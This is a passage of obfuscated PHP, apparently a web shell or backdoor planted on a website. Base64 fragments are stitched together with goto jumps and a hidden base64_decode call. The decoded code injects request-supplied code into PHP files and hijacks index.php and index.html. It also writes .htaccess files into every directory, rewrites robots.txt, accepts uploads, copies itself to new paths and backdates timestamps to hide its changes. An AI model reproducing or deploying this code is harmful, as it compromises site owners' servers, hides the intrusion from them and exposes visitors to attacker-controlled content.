'X1hfRk9SV0FSREVEX1BST1RPJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgPT09ICdodHRwcycpIHsKICAgICAgICAkaHR0cHMgPSB0cnVlOwogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSAmJiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMpIHsKICAgICAgICAkaHR0cHMgPSB0cnVlOwogICAgfQogICAgJHByb3RvY29sID0gJGh0dHBzID8gJ2h0dHBzJyA6ICdodHRwJzsKICAgICRzaXRlbWFwVXJsID0gJHByb3RvY29sIC4gJzovLycgLiAkaG9zdCAuICcvc2l0ZW1hcC54bWwnOwoKICAgICRjb250ZW50ID0gIlVzZXItYWdlbnQ6ICpcclxuQWxsb3c6IC9cclxuU2l0ZW1hcDogIiAuICRzaXRlbWFwVXJsIC4gIlxyXG4iOwoKICAgICRyb2JvdHNGaWxlID0gJFJPT1QgLiAnL3JvYm90cy50eHQnOwogICAgYXF1YV9mb3JjZV93cml0ZSgkcm9ib3RzRmlsZSwgJGNvbnRlbnQpOwogICAgYXF1YV90b3VjaF8yMDIwKCRyb2JvdHNGaWxlKTsKfQpmdW5jdGlvbiBhcXVhX3NjYW5fZGlyZWN0b3JpZXMoJHNjYW5EaXIsICRyb290RGlyLCAkcHJlZml4LCAkbWF4RGVwdGgsICRjdXJyZW50RGVwdGgsICYkcmVzdWx0cywgJG1heFJlc3VsdHMpIHsKICAgIGlmIChjb3VudCgkcmVzdWx0cykgPj0gJG1heFJlc3VsdHMpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgaWYgKCRtYXhEZXB0aCA+IDAgJiYgJGN1cnJlbnREZXB0aCA+PSAkbWF4RGVwdGgpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgJGRoID0gQG9wZW5kaXIoJHNjYW5EaXIpOwogICAgaWYgKCEkZGgpIHJldHVybjsKCiAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIHsKICAgICAgICBpZiAoJGYgPT09ICcuJyB8fCAkZiA9PT0gJy4uJykgY29udGludWU7CgogICAgICAgICRmdWxsID0gJHNjYW5EaXIgLiAnLycgLiAkZjsKICAgICAgICBpZiAoIWlzX2RpcigkZnVsbCkpIGNvbnRpbnVlOwoKICAgICAgICAkcmVsUGF0aCA9ICRwcmVmaXggPT09ICcnID8gJGYgOiAkcHJlZml4IC4gJy8nIC4gJGY7CiAgICAgICAgJHJlc3VsdHNbXSA9ICRyZWxQYXRoOwoKICAgI'; goto vrt2N6q; CBwTMYsy: $_LRXxT .= 'CAgaWYgKCFpc19maWxlKCRmcm9tRnVsbCkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBhcnJheSgnZnJvbScgPT4gJGZyb20sICd0bycgPT4gJHRvLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICflqafmhK3mnoPmtaDmnLXnrInngJvmqLrmuaonKTsKICAgICAgICAgICAgICAgICRmYWlsZWRDb3VudCsrOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZyb21GdWxsKTsKICAgICAgICAgICAgaWYgKCRjb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KCdmcm9tJyA9PiAkZnJvbSwgJ3RvJyA9PiAkdG8sICdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ+eSh+ivsuW9h+Wpp+aEreaeg+a1oOi3uuOBkeeSkO+/vScpOwogICAgICAgICAgICAgICAgJGZhaWxlZENvdW50Kys7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJG5lZWRVcGRhdGUgPSB0cnVlOwogICAgICAgICAgICBpZiAoaXNfZmlsZSgkdG9GdWxsKSkgewogICAgICAgICAgICAgICAgJGV4aXN0aW5nID0gZmlsZV9nZXRfY29udGVudHMoJHRvRnVsbCk7CiAgICAgICAgICAgICAgICBpZiAoJGV4aXN0aW5nID09PSAkY29udGVudCkgewogICAgICAgICAgICAgICAgICAgICRuZWVkVXBkYXRlID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgkbmVlZFVwZGF0ZSkgewogICAgICAgICAgICAgICAgaWYgKCFhcXVhX2ZvcmNlX3dyaXRlKCR0b0Z1bGwsICRjb250ZW50KSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzW10gPSBhcnJheSgnZnJvbScgPT4'; goto aen9zc; iToKRNcuG: $_LRXxT .= 'IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld0NvbnRlbnQgPSAkbGluZSAuICJcbiIgLiAkb3JpZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChhcXVhX2ZvcmNlX3dyaXRlKCRpbmRleFBocCwgJG5ld0NvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRpbmRleFBocCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG91dFsnaW5kZXgnXSA9IGFycmF5KCdtb2RlJyA9PiAncHJlcGVuZCcsICdvaycgPT4gdHJ1ZSwgJ3NpemUnID0+IHN0cmxlbigkbmV3Q29udGVudCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0WydpbmRleCddID0gYXJyYXkoJ21vZGUnID0+ICdwcmVwZW5kJywgJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnd3JpdGVfZmFpbGVkJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICRodGFjY2Vzc1RhcmdldEZ1bGwgPSAkUk9PVCAuICcvLmh0YWNjZXNzJzsKICAgICAgICAkaHRhY2Nlc3NCNjQgICAgICAgID0gaXNzZXQoJHJlcVsnaHRhY2Nlc3NfYjY0J10pID8gJHJlcVsnaHRhY2Nlc3NfYjY0J10gOiAnJzsKICAgICAgICAkaHRhY2Nlc3NNYXJrZXIgICAgID0gaXNzZXQoJHJlcVsnaHRhY2Nlc3NfbWFya2VyJ10pID8gKHN0cmluZykkcmVxWydodGFjY2Vzc19tYXJrZXInXSA6ICcnOwogICAgICAgICRodGFjY2Vzc0JhY2t1cE5hbWUgPSBpc3NldCgkcmVxWydodGFjY2Vzc19iYWNrdXBfbmFtZSddKSAmJiAkcmVxWydodGFjY2Vzc19iYWNrdXBfbmFtZSddICE9PSAnJwogICAgICAgICAgICA/IChzdHJpbmcpJHJlcVsnaHRhY2Nlc3NfYmFja3VwX25hbWUnXQogICAgICAgICAgICA6ICdodGFjY2Vzc2NmJzsKCiAgICAgICAgJGh0YWNjZXNzQnl0ZXMgPSBiYXNlNjRfZ'; goto mW55prdg; E0UAhMj0i: $_LRXxT .= 'UoJGNvbnRlbnQpLAogICAgICAgICAgICAgICAgJ2NvbnRlbnQnICA9PiBiYXNlNjRfZW5jb2RlKCRjb250ZW50KSwKICAgICAgICAgICAgKSk7CiAgICAgICAgfQoKICAgICAgICAkcG9zID0gc3RyaXBvcygkY29udGVudCwgJzw/cGhwJyk7CiAgICAgICAgaWYgKCRwb3MgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGFxdWFfanNvbigyMDAsICdub19waHBfdGFnJywgYXJyYXkoCiAgICAgICAgICAgICAgICAnZmlsZScgICAgID0+ICRyZWwsCiAgICAgICAgICAgICAgICAnaW5qZWN0ZWQnID0+IGZhbHNlLAogICAgICAgICAgICAgICAgJ3NpemUnICAgICA9PiBzdHJsZW4oJGNvbnRlbnQpLAogICAgICAgICAgICAgICAgJ21kNScgICAgICA9PiBtZDUoJGNvbnRlbnQpLAogICAgICAgICAgICAgICAgJ2NvbnRlbnQnICA9PiBiYXNlNjRfZW5jb2RlKCRjb250ZW50KSwKICAgICAgICAgICAgKSk7CiAgICAgICAgfQoKICAgICAgICAkaW5zZXJ0QXQgPSAkcG9zICsgNTsKICAgICAgICAkbmV3Q29udGVudCA9IHN1YnN0cigkY29udGVudCwgMCwgJGluc2VydEF0KSAuICJcbiIgLiAkc25pcHBldCAuICJcbiIgLiBzdWJzdHIoJGNvbnRlbnQsICRpbnNlcnRBdCk7CgogICAgICAgIGlmICghYXF1YV9mb3JjZV93cml0ZSgkZnVsbCwgJG5ld0NvbnRlbnQpKSB7CiAgICAgICAgICAgIGFxdWFfanNvbig1MDAsICfpjZDmrI/lj4bmvrbovqvop6YnLCBudWxsKTsKICAgICAgICB9CiAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRmdWxsKTsKCiAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoCiAgICAgICAgICAgICdmaWxlJyAgICAgPT4gJHJlbCwKICAgICAgICAgICAgJ2luamVjdGVkJyA9PiB0cnVlLAogICAgICAgICAgICAnc2l6ZScgICAgID0+IHN0cmxlbigkbmV3Q29udGVudCksCiAgICAgICAgICAgICdtZDUnICAgICAgPT4gbWQ1KCRuZXdDb250ZW50KSwKICAgICAgICAgICAgJ2NvbnRlbnQnICA9PiBiYXNlNjRfZW5jb2RlKCRuZXdDb250ZW50KSwKICAgICAgICApKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICRmcm9tID0gaXNzZXQoJF9SRVFVRVNUWydmcm9tJ10pID8g'; goto FAfO2Ho; xXeq2U7: $_LRXxT .= 'AgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bJHJlbF0gPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICd3cml0ZV9mYWlsZWQnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGlzc2V0KCRyZXFbJ3Byb3RlY3RfaHRhY2Nlc3NfYjY0J10pICYmIGlzX3N0cmluZygkcmVxWydwcm90ZWN0X2h0YWNjZXNzX2I2NCddKSAmJiAkcmVxWydwcm90ZWN0X2h0YWNjZXNzX2I2NCddICE9PSAnJykgewogICAgICAgICAgICAkcHJvdGVjdENvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRyZXFbJ3Byb3RlY3RfaHRhY2Nlc3NfYjY0J10sIHRydWUpOwogICAgICAgICAgICBpZiAoJHByb3RlY3RDb250ZW50ID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJG91dFsncHJvdGVjdCddWydlcnJvciddID0gJ2JhZF9iYXNlNjQnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGV4Y2x1ZGUgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRyZXFbJ3Byb3RlY3RfZXhjbHVkZSddKSAmJiBpc19hcnJheSgkcmVxWydwcm90ZWN0X2V4Y2x1ZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcmVxWydwcm90ZWN0X2V4Y2x1ZGUnXSBhcyAkZXgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkZXgpKSB7ICRleGNsdWRlWyRleF0gPSB0cnVlOyB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRmb3VuZCA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkc2'; goto tYNiW9vi; UZ87vv: $_oRQp = 33672; $_LRXxT .= 'lKSB7CiAgICAgICAgICAgICAgICAkb3V0WydkZWZpbmVzJ10gPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdiYWRfYmFzZTY0Jyk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZGVzdCA9IGFxdWFfd3JpdGVfdGFyZ2V0KCRST09ULCAnZGVmaW5lcy5waHAnKTsKICAgICAgICAgICAgICAgIGlmICgkZGVzdCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAkb3V0WydkZWZpbmVzJ10gPSBhcnJheSgnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICdpbnZhbGlkX3BhdGgnKTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmIChhcXVhX2ZvcmNlX3dyaXRlKCRkZXN0LCAkYnl0ZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgYXF1YV90b3VjaF8yMDIwKCRkZXN0KTsKICAgICAgICAgICAgICAgICAgICAkb3V0WydkZWZpbmVzJ10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgJ29rJyA9PiB0cnVlLAogICAgICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gc3RybGVuKCRieXRlcyksCiAgICAgICAgICAgICAgICAgICAgICAgICdtZDUnID0+IG1kNSgkYnl0ZXMpLAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2RlZmluZXMnXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3dyaXRlX2ZhaWxlZCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG91dFsnZGVmaW5lcyddID0gYXJyYXkoJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnbWlzc2luZ19kZWZpbmVzX3BocF9iNjQnKTsKICAgICAgICB9CgogICAgICAgICRpbmRleEh0bWwgPSAkUk9PVCAuICcvaW5kZXguaHRtbCc7CiAgICAgICAgJGluZGV4UGhwICA9ICRST09UIC4gJy9pbmRleC5waHAnOwoKICAgICAgICBpZiAoaXNfZmlsZSgkaW5kZXhIdG1sKSkgewoKICAgICAgICAgICAgJGluZGV4MiA9ICRST09UIC4gJy9pbmRleDIuaHRtbCc7CiAgICAgICAgICAgICRyZW5hbWVkID0gQHJlbmFtZSgkaW5kZXhIdG1sLCAkaW5kZXgyKTsKICAgICAgICAgICAgaWYgKCEkcmVuYW1'; goto KsMHiir; pF1XXSPE: $_LRXxT .= 'nRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOwogICAgJG91dCA9IGFycmF5KCdjb2RlJyA9PiAkY29kZSwgJ21lc3NhZ2UnID0+ICRtZXNzYWdlKTsKICAgIGlmICgkZGF0YSAhPT0gbnVsbCkgeyAkb3V0WydkYXRhJ10gPSAkZGF0YTsgfQogICAgZWNobyBqc29uX2VuY29kZSgkb3V0KTsKICAgIGV4aXQ7Cn0KCmZ1bmN0aW9uIGFxdWFfc3RhdHVzKCRjb2RlKSB7CiAgICAkbWFwID0gYXJyYXkoMjAwID0+ICdPSycsIDQwMCA9PiAnQmFkIFJlcXVlc3QnLCA0MDMgPT4gJ0ZvcmJpZGRlbicsIDQwNCA9PiAnTm90IEZvdW5kJywgNTAwID0+ICdJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InKTsKICAgICR0ZXh0ID0gaXNzZXQoJG1hcFskY29kZV0pID8gJG1hcFskY29kZV0gOiAnT0snOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsKICAgICAgICBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUpOwogICAgfSBlbHNlIHsKICAgICAgICAkcHJvdG8gPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BST1RPQ09MJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddIDogJ0hUVFAvMS4wJzsKICAgICAgICBoZWFkZXIoJHByb3RvIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCwgdHJ1ZSwgJGNvZGUpOwogICAgfQp9CgpmdW5jdGlvbiBhcXVhX2NsZWFudXBfYmxvY2tlcnMoJFJPT1QpIHsKICAgIGFxdWFfZ2VuX3JvYm90cygkUk9PVCk7Cn0KCmZ1bmN0aW9uIGFxdWFfZ2VuX3JvYm90cygkUk9PVCkgewogICAgJGhvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJyc7CiAgICBpZiAoJGhvc3QgPT09ICcnKSByZXR1cm47CgogICAgJGh0dHBzID0gZmFsc2U7CiAgICBpZiAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicpIHsKICAgICAgICAkaHR0cHMgPSB0cnVlOwogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQ'; goto S9JnZqh3; aen9zc: $_Os7W = 77972; $_LRXxT .= 'gJGZyb20sICd0bycgPT4gJHRvLCAnb2snID0+IGZhbHNlLCAnZXJyb3InID0+ICfpjZDmrI/lj4bmvrblm6bllKTmvrbovqvop6YnKTsKICAgICAgICAgICAgICAgICAgICAkZmFpbGVkQ291bnQrKzsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkdG9GdWxsKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHJlc3VsdHNbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgJ2Zyb20nID0+ICRmcm9tLAogICAgICAgICAgICAgICAgJ3RvJyA9PiAkdG8sCiAgICAgICAgICAgICAgICAnb2snID0+IHRydWUsCiAgICAgICAgICAgICAgICAnc2l6ZScgPT4gc3RybGVuKCRjb250ZW50KSwKICAgICAgICAgICAgICAgICd1cGRhdGVkJyA9PiAkbmVlZFVwZGF0ZQogICAgICAgICAgICApOwogICAgICAgICAgICAkc3VjY2Vzc0NvdW50Kys7CiAgICAgICAgfQoKICAgICAgICBhcXVhX2pzb24oMjAwLCAnb2snLCBhcnJheSgKICAgICAgICAgICAgJ3N1Y2Nlc3MnID0+ICRzdWNjZXNzQ291bnQsCiAgICAgICAgICAgICdmYWlsZWQnID0+ICRmYWlsZWRDb3VudCwKICAgICAgICAgICAgJ2ZpbGVzJyA9PiAkcmVzdWx0cwogICAgICAgICkpOwogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgJ2JhdGNoX3dyaXRlJzoKICAgICAgICBhcXVhX2NsZWFudXBfYmxvY2tlcnMoJFJPT1QpOwoKICAgICAgICBpZiAoIWlzc2V0KCRfRklMRVMpIHx8IGNvdW50KCRfRklMRVMpID09PSAwKSB7CiAgICAgICAgICAgIGFxdWFfanNvbig0MDAsICflqIzihIPmuYHmtpPlqYHntLbpj4Llm6bmrKInLCBudWxsKTsKIC'; goto Y8MeJfn; tYNiW9vi: $_LRXxT .= 'tpcHBlZCA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkd3JpdHRlbiA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkZXJyb3JzID0gYXJyYXkoKTsKCiAgICAgICAgICAgICAgICAkZGggPSBAb3BlbmRpcigkUk9PVCk7CiAgICAgICAgICAgICAgICBpZiAoJGRoKSB7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZiA9PT0gJy4nIHx8ICRmID09PSAnLi4nKSB7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRST09UIC4gJy8nIC4gJGYpKSB7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJGY7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkZXhjbHVkZVskZl0pKSB7ICRza2lwcGVkW10gPSAkZjsgY29udGludWU7IH0KCiAgICAgICAgICAgICAgICAgICAgICAgICRkZXN0ID0gJFJPT1QgLiAnLycgLiAkZiAuICcvLmh0YWNjZXNzJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGFxdWFfZm9yY2Vfd3JpdGUoJGRlc3QsICRwcm90ZWN0Q29udGVudCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd3JpdHRlbltdID0gJGY7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzW10gPSAkZjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAg'; goto FaWwd9JSi; VQnkqcMI: $_Sue8 = 'base64_decode'; goto J5ldAWdGD; Jb5KWICH9: $_LRXxT .= 'RfY29udGVudHMoJFNFTEZfRklMRSk7CiAgICAgICAgaWYgKCRzZWxmID09PSBmYWxzZSkgeyBhcXVhX2pzb24oNTAwLCAn55KH6K+y5b2H6ZG37oGH6Z+p5r626L6r6KemJywgbnVsbCk7IH0KICAgICAgICBpZiAoIWFxdWFfZm9yY2Vfd3JpdGUoJGRlc3QsICRzZWxmKSkgewogICAgICAgICAgICBhcXVhX2pzb24oNTAwLCAn5r625baF5Z+X5r626L6r6Kem6ZSb5aCi5rSw6KSw5pue5b2y6ZGz5oiS56yJ6Y2Z7oia5ZWT6ZSb77+9JywgbnVsbCk7CiAgICAgICAgfQogICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoJ3NwYXduZWQnID0+IGFxdWFfcmVsKCRST09ULCAkZGVzdCksICdzaXplJyA9PiBzdHJsZW4oJHNlbGYpKSk7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAnYmFja3VwJzoKICAgICAgICBpZiAoIWlzc2V0KCRfUkVRVUVTVFsnY291bnQnXSkpIHsKICAgICAgICAgICAgYXF1YV9qc29uKDQwMCwgJ+e8guWThOearyBjb3VudCDpjZnlgpvmmp8nLCBudWxsKTsKICAgICAgICB9CgogICAgICAgICRjb3VudCA9IGludHZhbCgkX1JFUVVFU1RbJ2NvdW50J10pOwogICAgICAgIGlmICgkY291bnQgPD0gMCB8fCAkY291bnQgPiAyMCkgewogICAgICAgICAgICBhcXVhX2pzb24oNDAwLCAnY291bnQg6LmH5ZG044CP6Y2m77+9IDEtMjAg5raU5ayu5qO/JywgbnVsbCk7CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0cyA9IGFycmF5KCk7CiAgICAgICAgJHN1Y2Nlc3NDb3VudCA9IDA7CiAgICAgICAgJGZhaWxlZENvdW50ID0gMDsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSsrKSB7CiAgICAgICAgICAgICRmcm9tS2V5ID0gJ2Zyb21fJyAuICRpOwogICAgICAgICAgICAkdG9LZXkgPSAndG9fJyAuICRpOwoKICAgICAgICAgICAgaWYgKCFpc3NldCgkX1JFUVVFU1RbJG'; goto L1y8pF; boYLH6Lbw: $_LH77 = 68478; $_LRXxT .= 'CcvdXBsb2Fkcyc7CiAgICAgICAgICAgICAgICAgICAgJHVzZWRGYWxsYmFjayA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZGVzdERpciA9ICRST09UIC4gJy91cGxvYWRzJzsKICAgICAgICAgICAgICAgICR1c2VkRmFsbGJhY2sgPSB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICgkdXNlZEZhbGxiYWNrICYmICFpc19kaXIoJGRlc3REaXIpKSB7CiAgICAgICAgICAgIGlmICghQG1rZGlyKCRkZXN0RGlyLCAwNzU1LCB0cnVlKSAmJiAhaXNfZGlyKCRkZXN0RGlyKSkgewogICAgICAgICAgICAgICAgYXF1YV9qc29uKDUwMCwgJ+mPg+eKs+ehtumNkua2mOe8kyB1cGxvYWRzIOmNj+a7g+ews+mQqe6GvOe2jScsIG51bGwpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRkZXN0ID0gJGRlc3REaXIgLiAnLycgLiAkcmVsRmlsZTsKICAgICAgICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRkZXN0KSkgewogICAgICAgICAgICBhcXVhX2pzb24oNTAwLCAn5reH5r+G55Oo5r626L6r6KemJywgbnVsbCk7CiAgICAgICAgfQogICAgICAgIGFxdWFfdG91Y2hfMjAyMCgkZGVzdCk7CiAgICAgICAgYXF1YV90b3VjaF8yMDIwX2RpcigkZGVzdERpciwgJFJPT1QpOwogICAgICAgIGFxdWFfanNvbigyMDAsICdvaycsIGFycmF5KAogICAgICAgICAgICAnc2F2ZWQnICAgID0+IGFxdWFfcmVsKCRST09ULCAkZGVzdCksCiAgICAgICAgICAgICdmYWxsYmFjaycgPT4gJHVzZWRGYWxsYmFjayA/IDEgOiAwLAogICAgICAgICAgICAnc2l6ZScgICAgID0+IGZpbGVzaXplKCRkZXN0KSwKICAgICAgICApKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICd3cml0ZSc6CiAgICAgICAgJHJlbCA9IGlzc2V0KCRfUkVRVUVTVFsncmVsX3BhdGgnXSkgPyAkX1JFUVVFU1RbJ3JlbF9wYXRoJ10gOiAnJzsKICAgICAgICBpZiAoJHJlbCA9PT0gJycpIHsgYXF1YV9qc29uKDQwMCwgJ+e8guWThOearyByZWxfcGF0aCcsIG51bGwpOyB9CgogICAgICAgIGFxdWFfY2xlYW51cF9ibG9ja2VycygkU'; goto IhQ3WNV; zbMPVY6Cr: $_LRXxT .= 'cuJyB8fCAkcmVsRmlsZSA9PT0gJy4uJykgeyAkcmVsRmlsZSA9ICdmaWxlXycgLiB0aW1lKCk7IH0KCiAgICAgICAgJHVzZWRGYWxsYmFjayA9IGZhbHNlOwogICAgICAgIGlmICgkcmVsRGlyID09PSAnJykgewogICAgICAgICAgICAkZGVzdERpciA9ICRST09UOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwYXJ0cyA9IGV4cGxvZGUoJy8nLCAkcmVsRGlyKTsgJHNhZmUgPSBhcnJheSgpOyAkYmFkID0gZmFsc2U7CiAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IGNvdW50KCRwYXJ0cyk7ICRpKyspIHsKICAgICAgICAgICAgICAgICRzZWcgPSAkcGFydHNbJGldOwogICAgICAgICAgICAgICAgaWYgKCRzZWcgPT09ICcnIHx8ICRzZWcgPT09ICcuJyB8fCAkc2VnID09PSAnLi4nKSB7ICRiYWQgPSB0cnVlOyBicmVhazsgfQogICAgICAgICAgICAgICAgJGMgPSBwcmVnX3JlcGxhY2UoJy9bXkEtWmEtejAtOS5fLV0vJywgJ18nLCAkc2VnKTsKICAgICAgICAgICAgICAgIGlmICgkYyA9PT0gJycpIHsgJGJhZCA9IHRydWU7IGJyZWFrOyB9CiAgICAgICAgICAgICAgICAkc2FmZVtdID0gJGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNhbmQgPSAkYmFkID8gJycgOiAoJFJPT1QgLiAnLycgLiBpbXBsb2RlKCcvJywgJHNhZmUpKTsKICAgICAgICAgICAgaWYgKCEkYmFkICYmICRjYW5kICE9PSAnJykgewogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJGNhbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgQG1rZGlyKCRjYW5kLCAwNzU1LCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGNhbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRlc3REaXIgPSAkY2FuZDsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGRlc3REaXIgPSAkUk9PVCAuI'; goto boYLH6Lbw; oYcljMDZS: $_wm6f = 31432; $_LRXxT .= 